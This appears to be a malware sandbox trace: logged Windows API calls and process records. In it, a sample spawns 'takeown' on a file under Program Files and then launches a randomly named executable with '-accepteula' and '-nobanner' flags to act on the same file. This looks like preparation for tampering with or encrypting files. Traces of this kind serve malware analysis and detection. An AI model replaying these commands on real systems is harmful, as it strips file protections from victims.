[0126.865] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x65, lpOverlapped=0x0) returned 1 [0126.868] GetLastError () returned 0x0 [0126.868] SetLastError (dwErrCode=0x0) [0126.869] GetLastError () returned 0x0 [0126.869] SetLastError (dwErrCode=0x0) [0126.869] GetLastError () returned 0x0 [0126.869] SetLastError (dwErrCode=0x0) [0126.869] GetLastError () returned 0x0 [0126.869] SetLastError (dwErrCode=0x0) [0126.869] GetLastError () returned 0x0 [0126.869] SetLastError (dwErrCode=0x0) [0126.869] GetLastError () returned 0x0 [0126.869] SetLastError (dwErrCode=0x0) [0126.869] GetLastError () returned 0x0 [0126.869] SetLastError (dwErrCode=0x0) [0126.869] GetLastError () returned 0x0 [0126.869] SetLastError (dwErrCode=0x0) [0126.869] GetLastError () returned 0x0 [0126.869] SetLastError (dwErrCode=0x0) [0126.869] GetLastError () returned 0x0 [0126.869] SetLastError (dwErrCode=0x0) [0126.869] GetLastError () returned 0x0 [0126.869] SetLastError (dwErrCode=0x0) [0126.869] GetLastError () returned 0x0 [0126.869] SetLastError (dwErrCode=0x0) [0126.869] GetLastError () returned 0x0 [0126.869] SetLastError (dwErrCode=0x0) [0126.869] GetLastError () returned 0x0 [0126.869] SetLastError (dwErrCode=0x0) [0126.869] GetLastError () returned 0x0 [0126.869] SetLastError (dwErrCode=0x0) [0126.869] GetLastError () returned 0x0 [0126.869] SetLastError (dwErrCode=0x0) [0126.869] GetLastError () returned 0x0 [0126.869] SetLastError (dwErrCode=0x0) [0126.869] GetLastError () returned 0x0 [0126.870] SetLastError (dwErrCode=0x0) [0126.870] GetLastError () returned 0x0 [0126.870] SetLastError (dwErrCode=0x0) [0126.870] GetLastError () returned 0x0 [0126.870] SetLastError (dwErrCode=0x0) [0126.870] GetLastError () returned 0x0 [0126.870] SetLastError (dwErrCode=0x0) [0126.870] GetLastError () returned 0x0 [0126.870] SetLastError (dwErrCode=0x0) [0126.870] GetLastError () returned 0x0 [0126.870] SetLastError (dwErrCode=0x0) [0126.870] GetLastError () returned 0x0 [0126.870] SetLastError (dwErrCode=0x0) [0126.870] GetLastError () returned 0x0 [0126.870] SetLastError (dwErrCode=0x0) [0126.870] GetLastError () returned 0x0 [0126.870] SetLastError (dwErrCode=0x0) [0126.870] GetLastError () returned 0x0 [0126.870] SetLastError (dwErrCode=0x0) [0126.870] GetLastError () returned 0x0 [0126.870] SetLastError (dwErrCode=0x0) [0126.870] GetLastError () returned 0x0 [0126.870] SetLastError (dwErrCode=0x0) [0126.870] GetLastError () returned 0x0 [0126.870] SetLastError (dwErrCode=0x0) [0126.870] GetLastError () returned 0x0 [0126.870] SetLastError (dwErrCode=0x0) [0126.870] GetLastError () returned 0x0 [0126.870] SetLastError (dwErrCode=0x0) [0126.870] GetLastError () returned 0x0 [0126.870] SetLastError (dwErrCode=0x0) [0126.870] GetLastError () returned 0x0 [0126.871] SetLastError (dwErrCode=0x0) [0126.871] GetLastError () returned 0x0 [0126.871] SetLastError (dwErrCode=0x0) [0126.871] GetLastError () returned 0x0 [0126.871] SetLastError (dwErrCode=0x0) [0126.871] GetLastError () returned 0x0 [0126.871] SetLastError (dwErrCode=0x0) [0126.871] GetLastError () returned 0x0 [0126.871] SetLastError (dwErrCode=0x0) [0126.871] GetLastError () returned 0x0 [0126.871] SetLastError (dwErrCode=0x0) [0126.871] GetLastError () returned 0x0 [0126.871] SetLastError (dwErrCode=0x0) [0126.871] GetLastError () returned 0x0 [0126.871] SetLastError (dwErrCode=0x0) [0126.871] GetLastError () returned 0x0 [0126.871] SetLastError (dwErrCode=0x0) [0126.871] GetLastError () returned 0x0 [0126.871] SetLastError (dwErrCode=0x0) [0126.871] GetLastError () returned 0x0 [0126.871] SetLastError (dwErrCode=0x0) [0126.871] GetLastError () returned 0x0 [0126.871] SetLastError (dwErrCode=0x0) [0126.871] GetLastError () returned 0x0 [0126.871] SetLastError (dwErrCode=0x0) [0126.871] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0126.872] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x2c, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x2c, lpOverlapped=0x0) returned 1 [0126.873] GetLastError () returned 0x0 [0126.873] SetLastError (dwErrCode=0x0) [0126.873] GetLastError () returned 0x0 [0126.873] SetLastError (dwErrCode=0x0) [0126.873] GetLastError () returned 0x0 [0126.873] SetLastError (dwErrCode=0x0) [0126.873] GetLastError () returned 0x0 [0126.873] SetLastError (dwErrCode=0x0) [0126.873] GetLastError () returned 0x0 [0126.873] SetLastError (dwErrCode=0x0) [0126.873] GetLastError () returned 0x0 [0126.873] SetLastError (dwErrCode=0x0) [0126.873] GetLastError () returned 0x0 [0126.873] SetLastError (dwErrCode=0x0) [0126.873] GetLastError () returned 0x0 [0126.873] SetLastError (dwErrCode=0x0) [0126.873] GetLastError () returned 0x0 [0126.873] SetLastError (dwErrCode=0x0) [0126.873] GetLastError () returned 0x0 [0126.874] SetLastError (dwErrCode=0x0) [0126.874] GetLastError () returned 0x0 [0126.874] SetLastError (dwErrCode=0x0) [0126.874] GetLastError () returned 0x0 [0126.874] SetLastError (dwErrCode=0x0) [0126.874] GetLastError () returned 0x0 [0126.874] SetLastError (dwErrCode=0x0) [0126.874] GetLastError () returned 0x0 [0126.874] SetLastError (dwErrCode=0x0) [0126.874] GetLastError () returned 0x0 [0126.874] SetLastError (dwErrCode=0x0) [0126.874] GetLastError () returned 0x0 [0126.874] SetLastError (dwErrCode=0x0) [0126.874] GetLastError () returned 0x0 [0126.874] SetLastError (dwErrCode=0x0) [0126.874] GetLastError () returned 0x0 [0126.874] SetLastError (dwErrCode=0x0) [0126.874] GetLastError () returned 0x0 [0126.874] SetLastError (dwErrCode=0x0) [0126.874] GetLastError () returned 0x0 [0126.874] SetLastError (dwErrCode=0x0) [0126.874] GetLastError () returned 0x0 [0126.874] SetLastError (dwErrCode=0x0) [0126.874] GetLastError () returned 0x0 [0126.874] SetLastError (dwErrCode=0x0) [0126.874] GetLastError () returned 0x0 [0126.874] SetLastError (dwErrCode=0x0) [0126.874] GetLastError () returned 0x0 [0126.874] SetLastError (dwErrCode=0x0) [0126.874] GetLastError () returned 0x0 [0126.874] SetLastError (dwErrCode=0x0) [0126.874] GetLastError () returned 0x0 [0126.874] SetLastError (dwErrCode=0x0) [0126.875] GetLastError () returned 0x0 [0126.875] SetLastError (dwErrCode=0x0) [0126.875] GetLastError () returned 0x0 [0126.875] SetLastError (dwErrCode=0x0) [0126.875] GetLastError () returned 0x0 [0126.875] SetLastError (dwErrCode=0x0) [0126.875] GetLastError () returned 0x0 [0126.875] SetLastError (dwErrCode=0x0) [0126.875] GetLastError () returned 0x0 [0126.875] SetLastError (dwErrCode=0x0) [0126.875] GetLastError () returned 0x0 [0126.875] SetLastError (dwErrCode=0x0) [0126.875] GetLastError () returned 0x0 [0126.875] SetLastError (dwErrCode=0x0) [0126.875] GetLastError () returned 0x0 [0126.875] SetLastError (dwErrCode=0x0) [0126.875] GetLastError () returned 0x0 [0126.875] SetLastError (dwErrCode=0x0) [0126.875] GetLastError () returned 0x0 [0126.875] SetLastError (dwErrCode=0x0) [0126.875] GetLastError () returned 0x0 [0126.875] SetLastError (dwErrCode=0x0) [0126.875] GetLastError () returned 0x0 [0126.875] SetLastError (dwErrCode=0x0) [0126.875] GetLastError () returned 0x0 [0126.875] SetLastError (dwErrCode=0x0) [0126.875] GetLastError () returned 0x0 [0126.875] SetLastError (dwErrCode=0x0) [0126.875] GetLastError () returned 0x0 [0126.875] SetLastError (dwErrCode=0x0) [0126.875] GetLastError () returned 0x0 [0126.876] SetLastError (dwErrCode=0x0) [0126.876] GetLastError () returned 0x0 [0126.876] SetLastError (dwErrCode=0x0) [0126.876] GetLastError () returned 0x0 [0126.876] SetLastError (dwErrCode=0x0) [0126.876] GetLastError () returned 0x0 [0126.876] SetLastError (dwErrCode=0x0) [0126.876] GetLastError () returned 0x0 [0126.876] SetLastError (dwErrCode=0x0) [0126.876] GetLastError () returned 0x0 [0126.876] SetLastError (dwErrCode=0x0) [0126.876] GetLastError () returned 0x0 [0126.876] SetLastError (dwErrCode=0x0) [0126.876] GetLastError () returned 0x0 [0126.876] SetLastError (dwErrCode=0x0) [0126.876] GetLastError () returned 0x0 [0126.876] SetLastError (dwErrCode=0x0) [0126.876] GetLastError () returned 0x0 [0126.876] SetLastError (dwErrCode=0x0) [0126.876] GetLastError () returned 0x0 [0126.876] SetLastError (dwErrCode=0x0) [0126.876] GetLastError () returned 0x0 [0126.876] SetLastError (dwErrCode=0x0) [0126.876] GetLastError () returned 0x0 [0126.876] SetLastError (dwErrCode=0x0) [0126.876] GetLastError () returned 0x0 [0126.876] SetLastError (dwErrCode=0x0) [0126.876] GetLastError () returned 0x0 [0126.876] SetLastError (dwErrCode=0x0) [0126.876] GetLastError () returned 0x0 [0126.876] SetLastError (dwErrCode=0x0) [0126.876] GetLastError () returned 0x0 [0126.876] SetLastError (dwErrCode=0x0) [0126.876] GetLastError () returned 0x0 [0126.877] SetLastError (dwErrCode=0x0) [0126.877] GetLastError () returned 0x0 [0126.877] SetLastError (dwErrCode=0x0) [0126.877] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0126.877] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x3a, lpOverlapped=0x0) returned 1 [0126.878] GetLastError () returned 0x0 [0126.878] SetLastError (dwErrCode=0x0) [0126.878] GetLastError () returned 0x0 [0126.878] SetLastError (dwErrCode=0x0) [0126.878] GetLastError () returned 0x0 [0126.878] SetLastError (dwErrCode=0x0) [0126.878] GetLastError () returned 0x0 [0126.878] SetLastError (dwErrCode=0x0) [0126.878] GetLastError () returned 0x0 [0126.879] SetLastError (dwErrCode=0x0) [0126.879] GetLastError () returned 0x0 [0126.879] SetLastError (dwErrCode=0x0) [0126.879] GetLastError () returned 0x0 [0126.879] SetLastError (dwErrCode=0x0) [0126.879] GetLastError () returned 0x0 [0126.879] SetLastError (dwErrCode=0x0) [0126.879] GetLastError () returned 0x0 [0126.879] SetLastError (dwErrCode=0x0) [0126.879] GetLastError () returned 0x0 [0126.879] SetLastError (dwErrCode=0x0) [0126.879] GetLastError () returned 0x0 [0126.879] SetLastError (dwErrCode=0x0) [0126.879] GetLastError () returned 0x0 [0126.879] SetLastError (dwErrCode=0x0) [0126.879] GetLastError () returned 0x0 [0126.879] SetLastError (dwErrCode=0x0) [0126.879] GetLastError () returned 0x0 [0126.879] SetLastError (dwErrCode=0x0) [0126.879] GetLastError () returned 0x0 [0126.879] SetLastError (dwErrCode=0x0) [0126.879] GetLastError () returned 0x0 [0126.879] SetLastError (dwErrCode=0x0) [0126.879] GetLastError () returned 0x0 [0126.879] SetLastError (dwErrCode=0x0) [0126.879] GetLastError () returned 0x0 [0126.879] SetLastError (dwErrCode=0x0) [0126.879] GetLastError () returned 0x0 [0126.879] SetLastError (dwErrCode=0x0) [0126.879] GetLastError () returned 0x0 [0126.879] SetLastError (dwErrCode=0x0) [0126.879] GetLastError () returned 0x0 [0126.879] SetLastError (dwErrCode=0x0) [0126.879] GetLastError () returned 0x0 [0126.880] SetLastError (dwErrCode=0x0) [0126.880] GetLastError () returned 0x0 [0126.880] SetLastError (dwErrCode=0x0) [0126.880] GetLastError () returned 0x0 [0126.880] SetLastError (dwErrCode=0x0) [0126.880] GetLastError () returned 0x0 [0126.880] SetLastError (dwErrCode=0x0) [0126.880] GetLastError () returned 0x0 [0126.880] SetLastError (dwErrCode=0x0) [0126.880] GetLastError () returned 0x0 [0126.880] SetLastError (dwErrCode=0x0) [0126.880] GetLastError () returned 0x0 [0126.880] SetLastError (dwErrCode=0x0) [0126.880] GetLastError () returned 0x0 [0126.880] SetLastError (dwErrCode=0x0) [0126.880] GetLastError () returned 0x0 [0126.880] SetLastError (dwErrCode=0x0) [0126.880] GetLastError () returned 0x0 [0126.881] SetLastError (dwErrCode=0x0) [0126.881] GetLastError () returned 0x0 [0126.881] SetLastError (dwErrCode=0x0) [0126.881] GetLastError () returned 0x0 [0126.881] SetLastError (dwErrCode=0x0) [0126.881] GetLastError () returned 0x0 [0126.881] SetLastError (dwErrCode=0x0) [0126.881] GetLastError () returned 0x0 [0126.881] SetLastError (dwErrCode=0x0) [0126.896] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2d0090 | out: hHeap=0x2b0000) returned 1 [0126.896] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x12fe58 | out: phModule=0x12fe58) returned 0 [0126.896] RtlExitUserProcess (ExitCode=0x1) [0126.897] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cf060 | out: hHeap=0x2b0000) returned 1 Process: id = "232" image_name = "takeown.exe" filename = "c:\\windows\\syswow64\\takeown.exe" page_root = "0x748c1000" os_pid = "0x10c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "226" os_parent_pid = "0xfd8" cmd_line = "takeown /F \"C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 836 os_tid = 0xb50 Thread: id = 837 os_tid = 0x6f8 Process: id = "233" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x9ec9000" os_pid = "0xc34" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "226" os_parent_pid = "0xfd8" cmd_line = "C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"Genko_2.jtp\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 838 os_tid = 0xc24 [0128.978] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16f7a4 | out: lpSystemTimeAsFileTime=0x16f7a4*(dwLowDateTime=0xf04eda60, dwHighDateTime=0x1d5d06a)) [0128.978] GetCurrentProcessId () returned 0xc34 [0128.978] GetCurrentThreadId () returned 0xc24 [0128.978] GetTickCount () returned 0x1167ca0 [0128.978] QueryPerformanceCounter (in: lpPerformanceCount=0x16f79c | out: lpPerformanceCount=0x16f79c*=27093039879) returned 1 [0128.979] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0128.979] __set_app_type (_Type=0x1) [0128.979] __p__fmode () returned 0x76be31f4 [0128.979] __p__commode () returned 0x76be31fc [0128.979] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0128.979] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0128.980] GetCurrentThreadId () returned 0xc24 [0128.980] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xc24) returned 0x60 [0128.980] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0128.980] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0128.980] SetThreadUILanguage (LangId=0x0) returned 0x409 [0128.997] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0128.997] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x16f734 | out: phkResult=0x16f734*=0x0) returned 0x2 [0128.998] VirtualQuery (in: lpAddress=0x16f76b, lpBuffer=0x16f704, dwLength=0x1c | out: lpBuffer=0x16f704*(BaseAddress=0x16f000, AllocationBase=0x70000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0128.998] VirtualQuery (in: lpAddress=0x70000, lpBuffer=0x16f704, dwLength=0x1c | out: lpBuffer=0x16f704*(BaseAddress=0x70000, AllocationBase=0x70000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0128.998] VirtualQuery (in: lpAddress=0x71000, lpBuffer=0x16f704, dwLength=0x1c | out: lpBuffer=0x16f704*(BaseAddress=0x71000, AllocationBase=0x70000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0128.998] VirtualQuery (in: lpAddress=0x73000, lpBuffer=0x16f704, dwLength=0x1c | out: lpBuffer=0x16f704*(BaseAddress=0x73000, AllocationBase=0x70000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0128.998] VirtualQuery (in: lpAddress=0x170000, lpBuffer=0x16f704, dwLength=0x1c | out: lpBuffer=0x16f704*(BaseAddress=0x170000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x40000)) returned 0x1c [0128.998] GetConsoleOutputCP () returned 0x1b5 [0128.998] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0128.998] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0128.998] _get_osfhandle (_FileHandle=1) returned 0x80 [0128.998] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0128.998] _get_osfhandle (_FileHandle=1) returned 0x80 [0128.998] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0128.999] _get_osfhandle (_FileHandle=0) returned 0x3 [0128.999] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0128.999] GetEnvironmentStringsW () returned 0x5821d0* [0128.999] GetProcessHeap () returned 0x570000 [0128.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb7e) returned 0x582d58 [0128.999] FreeEnvironmentStringsW (penv=0x5821d0) returned 1 [0128.999] GetProcessHeap () returned 0x570000 [0128.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4) returned 0x5818b0 [0128.999] GetEnvironmentStringsW () returned 0x5821d0* [0128.999] GetProcessHeap () returned 0x570000 [0128.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb7e) returned 0x5838e0 [0129.000] FreeEnvironmentStringsW (penv=0x5821d0) returned 1 [0129.000] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x16e6a4 | out: phkResult=0x16e6a4*=0x68) returned 0x0 [0129.000] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x16e6ac, lpData=0x16e6b0, lpcbData=0x16e6a8*=0x1000 | out: lpType=0x16e6ac*=0x0, lpData=0x16e6b0*=0x0, lpcbData=0x16e6a8*=0x1000) returned 0x2 [0129.000] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x16e6ac, lpData=0x16e6b0, lpcbData=0x16e6a8*=0x1000 | out: lpType=0x16e6ac*=0x4, lpData=0x16e6b0*=0x1, lpcbData=0x16e6a8*=0x4) returned 0x0 [0129.000] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x16e6ac, lpData=0x16e6b0, lpcbData=0x16e6a8*=0x1000 | out: lpType=0x16e6ac*=0x0, lpData=0x16e6b0*=0x1, lpcbData=0x16e6a8*=0x1000) returned 0x2 [0129.000] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x16e6ac, lpData=0x16e6b0, lpcbData=0x16e6a8*=0x1000 | out: lpType=0x16e6ac*=0x4, lpData=0x16e6b0*=0x0, lpcbData=0x16e6a8*=0x4) returned 0x0 [0129.000] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x16e6ac, lpData=0x16e6b0, lpcbData=0x16e6a8*=0x1000 | out: lpType=0x16e6ac*=0x4, lpData=0x16e6b0*=0x40, lpcbData=0x16e6a8*=0x4) returned 0x0 [0129.000] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x16e6ac, lpData=0x16e6b0, lpcbData=0x16e6a8*=0x1000 | out: lpType=0x16e6ac*=0x4, lpData=0x16e6b0*=0x40, lpcbData=0x16e6a8*=0x4) returned 0x0 [0129.000] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x16e6ac, lpData=0x16e6b0, lpcbData=0x16e6a8*=0x1000 | out: lpType=0x16e6ac*=0x0, lpData=0x16e6b0*=0x40, lpcbData=0x16e6a8*=0x1000) returned 0x2 [0129.000] RegCloseKey (hKey=0x68) returned 0x0 [0129.000] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x16e6a4 | out: phkResult=0x16e6a4*=0x68) returned 0x0 [0129.000] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x16e6ac, lpData=0x16e6b0, lpcbData=0x16e6a8*=0x1000 | out: lpType=0x16e6ac*=0x0, lpData=0x16e6b0*=0x40, lpcbData=0x16e6a8*=0x1000) returned 0x2 [0129.000] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x16e6ac, lpData=0x16e6b0, lpcbData=0x16e6a8*=0x1000 | out: lpType=0x16e6ac*=0x4, lpData=0x16e6b0*=0x1, lpcbData=0x16e6a8*=0x4) returned 0x0 [0129.001] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x16e6ac, lpData=0x16e6b0, lpcbData=0x16e6a8*=0x1000 | out: lpType=0x16e6ac*=0x0, lpData=0x16e6b0*=0x1, lpcbData=0x16e6a8*=0x1000) returned 0x2 [0129.001] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x16e6ac, lpData=0x16e6b0, lpcbData=0x16e6a8*=0x1000 | out: lpType=0x16e6ac*=0x4, lpData=0x16e6b0*=0x0, lpcbData=0x16e6a8*=0x4) returned 0x0 [0129.001] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x16e6ac, lpData=0x16e6b0, lpcbData=0x16e6a8*=0x1000 | out: lpType=0x16e6ac*=0x4, lpData=0x16e6b0*=0x9, lpcbData=0x16e6a8*=0x4) returned 0x0 [0129.001] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x16e6ac, lpData=0x16e6b0, lpcbData=0x16e6a8*=0x1000 | out: lpType=0x16e6ac*=0x4, lpData=0x16e6b0*=0x9, lpcbData=0x16e6a8*=0x4) returned 0x0 [0129.001] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x16e6ac, lpData=0x16e6b0, lpcbData=0x16e6a8*=0x1000 | out: lpType=0x16e6ac*=0x0, lpData=0x16e6b0*=0x9, lpcbData=0x16e6a8*=0x1000) returned 0x2 [0129.001] RegCloseKey (hKey=0x68) returned 0x0 [0129.001] time (in: timer=0x0 | out: timer=0x0) returned 0x5e271113 [0129.001] srand (_Seed=0x5e271113) [0129.001] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"Genko_2.jtp\" -nobanner" [0129.001] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"Genko_2.jtp\" -nobanner" [0129.001] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0129.002] GetProcessHeap () returned 0x570000 [0129.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x210) returned 0x584468 [0129.002] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x584470, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0129.002] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0129.002] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0129.002] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0129.002] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0129.002] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0129.002] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0129.002] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0129.002] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0129.002] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0129.002] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0129.003] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0129.003] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0129.003] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0129.003] GetProcessHeap () returned 0x570000 [0129.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x54) returned 0x584680 [0129.003] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x16f470 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0129.003] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x16f470, lpFilePart=0x16f46c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16f46c*="Desktop") returned 0x25 [0129.003] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0129.003] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x16f1ec | out: lpFindFileData=0x16f1ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x582050 [0129.003] FindClose (in: hFindFile=0x582050 | out: hFindFile=0x582050) returned 1 [0129.003] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x16f1ec | out: lpFindFileData=0x16f1ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, 